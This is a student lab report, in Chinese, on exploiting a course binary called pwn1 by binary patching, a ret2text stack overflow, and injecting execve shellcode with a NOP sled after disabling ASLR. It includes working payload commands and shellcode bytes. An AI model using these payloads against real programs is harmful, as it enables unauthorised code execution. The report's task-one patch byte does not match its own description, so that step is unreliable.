20242322 2026-2027-1 《网络与系统攻防技术》实验一实验报告
20242322 2026-2027-1 《网络与系统攻防技术》实验一实验报告
一、实验环境配置
1. 环境介绍
实验环境:Kali Linux(64位)
实验工具:dpkg(架构管理工具)、apt(包管理器)、git、checksec.sh(ELF程序安全保护机制检测工具)、pwntools(Pwn漏洞开发框架)
实验对象:pwn1 Linux ELF可执行程序。该程序存在缓冲区溢出漏洞,内置getShell()函数,触发后可获取系统Shell。
2. 环境配置操作步骤
- 添加32位i386架构支持,用于运行32位ELF程序
sudo dpkg --add-architecture i386
- 更新软件源,同步i386架构软件包信息
sudo apt update!
- 克隆checksec.sh源码仓库,用于检测程序保护机制
git clone [https://github.com/slimm609/checksec.sh.git](https://github.com/slimm609/checksec.sh.git)
- 创建全局软链接,使checksec命令可在任意目录调用
cd checksec.sh
sudo ln -sf checksec /usr/local/bin/checksec
cd ~/Desktop
- 安装pwntools漏洞利用框架
sudo apt install python3-pwntools -y
3. 环境配置截图说明




4. 环境配置小结
成功添加i386 32位程序运行支持,完成checksec安全检测工具与pwntools框架部署,完成pwn实验前置环境搭建,为后续程序静态分析、漏洞调试、Payload构造提供基础条件。
二、任务一:手工修改可执行文件,改变程序执行流程,直接跳转到 getShell 函数
1. 实验原理
通过objdump反汇编查看程序汇编代码,找到 main 函数中调用foo()的 call 指令,修改 call 指令的操作数,将原本调用foo的跳转目标改为getShell函数。程序运行时 main 函数不再调用 foo,直接执行 getShell 拿到 shell。
2. 操作步骤
- 使用
objdump反汇编,查看getShell、foo、main函数地址
objdump -d ./20242322_pwn1 | grep -A30 "<getShell>"

- 使用
dd命令直接修改 ELF 文件对应偏移位置的机器码,修改 main 函数内 call 指令,将调用 foo 改为调用 getShell。
echo -n -e '\xc3' | dd of=./20242322_pwn1 bs=1 seek=$((0x04B5+1)) count=1 conv=notrunc
- 修改完成后,再次反汇编 main 函数,验证修改结果
objdump -d ./20242322_pwn1 | grep -A5 "<main>"

- 运行修改后的程序,验证效果
./20242322_pwn1

# 任务二:栈溢出漏洞利用(ret2text)

使用objdump -d ./20242322_pwn1 | grep查看程序汇编代码。
程序内存在getShell()函数,地址0x0804847d,函数内部直接调用system函数,执行 shell 命令,是我们溢出后需要跳转的目标地址;foo为存在栈溢出漏洞的函数。
在 gdb 中run运行程序,输入 cyclic 生成的字符序列,程序触发SIGSEGV段错误,EIP 寄存器被覆盖为0x61616169,证明可以控制返回地址。

使用python3 -c 'from pwn import *;print(cyclic_find(0x61616169))',得到偏移量为32。
含义:输入 32 字节填充字符后,接下来 4 字节将覆盖函数的返回地址(EIP)。
perl -e 'print "A" x 32 . "\x7d\x84\x04\x08"' > input
"A"*32:32 字节填充栈缓冲区,填满到返回地址位置\x7d\x84\x04\x08:小端序写入getShell函数地址0x0804847d,覆盖返回地址。
将 payload 写入input文件。
(cat input; cat) | ./20242322_pwn1 管道将 payload 送入程序,cat保持标准输入打开,维持 shell 交互。此时 payload 送入程序,成功劫持程序流。
成功获取 shell,执行:
whoami:输出kali,确认当前用户ls:列出当前目录文件pwd:查看当前工作目录cat /etc/passwd:读取系统 passwd 文件,漏洞利用成功。
任务二总结
本实验是基础ret2text栈溢出,程序自带getShell函数,不需要 libc 泄露。
- 确定溢出偏移:32 字节
- 确定目标函数地址:
0x0804847d - 构造 payload:
32字节填充 + getShell地址(小端) - 输入 payload 劫持返回地址,跳转执行
getShell拿到 shell。
任务三:注入自己制作的shellcode并运行这段shellcode
1. 实验原理
任务一为静态修改二进制文件、任务二为调用程序自带getShell函数,均不属于自主代码注入。任务三核心实验目标为:手动编写、注入自定义shellcode,让程序执行我们自己的机器码获取shell。
本次实验程序栈区可执行、未开启NX保护、未开启ASLR地址随机化,攻击者可将自定义shellcode放入栈缓冲区,通过栈溢出覆盖返回地址,将EIP劫持到栈内存地址,最终执行注入的shellcode,实现任意代码执行。
为提升攻击成功率,引入NOP滑行(NOP Sled)技术:大量 0x90 空指令填充在shellcode前方,只要程序跳转至NOP区域任意位置,CPU自动滑行至shellcode执行,极大降低地址精准度要求。
2. 前置环境准备
ASLR 地址随机化会导致栈地址每次运行变化,无法固定跳转地址,因此需要手动关闭:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
查看是否关闭成功,输出 0 即为关闭 ASLR:
cat /proc/sys/kernel/randomize_va_space
同时确认程序栈具备可执行权限,保证shellcode可以被CPU正常执行。

3. 确定栈溢出偏移量
延续前面实验结论,通过gdb调试、cyclic偏移测试,确定缓冲区到返回地址的偏移量为 32字节。前32字节为缓冲区填充位,第33~36字节为函数返回地址,可直接覆盖EIP。
4. 获取栈内存地址
在gdb中调试程序,观察栈布局,获取栈缓冲区起始地址,作为后续payload跳转目标地址。通过查看栈内存数据,确定NOP滑行区存放位置与shellcode写入位置。
**
5. 自定义shellcode介绍
本次使用标准32位Linux execve("/bin/sh") 通用shellcode机器码,作用为主动调用系统函数启动交互式shell:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
该shellcode长度23字节,无坏字符、可直接注入栈内存,稳定弹出系统shell。
6. 构造完整Payload结构
本次任务三 Payload 标准结构:
[32字节填充] + [栈NOP区域地址(小端)] + [大量NOP滑行区0x90] + [自定义shellcode]
使用perl命令一键生成注入payload文件:
perl -e 'print "A"x32 . "\x80\xd8\xff\xff" . "\x90"x80 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"' > shellcode_payload
**
7. 执行shellcode注入攻击
将构造好的payload输入程序,触发栈溢出,劫持程序执行流跳转至栈上NOP区域,滑行执行自定义shellcode:
(cat shellcode_payload;cat) | ./20242322_pwn1
命令中第二个cat用于保持终端交互,防止shell自动退出。

8. 任务三实验结果
本次实验成功自主构造shellcode、完成栈注入攻击。程序成功执行我们手动写入的机器码,跳出原有程序逻辑,获取系统交互式shell,可正常执行 ls、whoami、pwd 等系统命令,shellcode注入实验完全成功。
9. 任务三实验小结
任务三与前两个任务本质区别:不再依赖程序自带后门函数,完全实现自主代码注入与执行。
实验证明:当程序存在栈溢出、栈可执行、ASLR关闭、无Canary保护时,攻击者可以任意注入自定义机器码,完全控制程序权限。同时深刻理解 NOP 滑行的作用,解决栈地址微小偏差导致的攻击失败问题。
本次实验直观验证了现代系统防护机制的重要性:ASLR随机地址、NX栈不可执行、Canary栈保护,均可有效防御本次shellcode注入攻击。
五、实验问题及解决方案
1、关闭ASLR提示权限不足:不能直接使用echo重定向,需要使用sudo tee写入内核参数。
2、GDB调试地址与真实运行地址不一致:gdb自带环境变量偏移,最终攻击以真实终端栈地址为准。
3、Payload过长或偏移错误:会直接触发段错误,精准的32字节偏移是攻击成功的核心前提。
六、实验总结与感悟
这次栈溢出实验是我第一次完整落地二进制漏洞攻击实操,是从纯理论走向真实动手的一次关键尝试。在正式操作之前,我对缓冲区溢出的理解只停留在课堂概念上,以为原理简单、操作容易,但真正独立搭建环境、调试漏洞、构造 Payload、注入 shellcode 后,才彻底改变了固有认知。
实验初期我遇到了很多基础问题,环境源配置、工具安装、32 位程序运行依赖等问题都让操作屡屡卡壳。对比课堂理论我深刻发现,网络安全实操极度依赖细节与环境,任何一个微小配置不到位,后续所有漏洞利用都无法开展。
本次实验让我最大的收获是:漏洞利用没有想象中的简单。栈溢出看似只是覆盖返回地址,但实际操作中,偏移量必须分毫不差、地址小端序必须严格反转、ASLR 必须关闭、NOP 滑行长度需要合理设置。只要任意一处细节出错,程序就会直接段错误,攻击完全失效。这让我明白了 PWN 安全是一门高精度、重调试、重逻辑的实操学科。
在排错过程中,我也逐渐摆脱了只会照搬命令的学习方式。通过 GDB 查看寄存器、观察栈布局、分析 EIP 覆盖情况,我能够自主判断 Payload 是否生效、偏移是否正确、跳转地址是否出错。相比于盲目复制指令,学会调试、看懂程序底层运行逻辑,才是真正掌握漏洞原理的关键。





浙公网安备 33010602011771号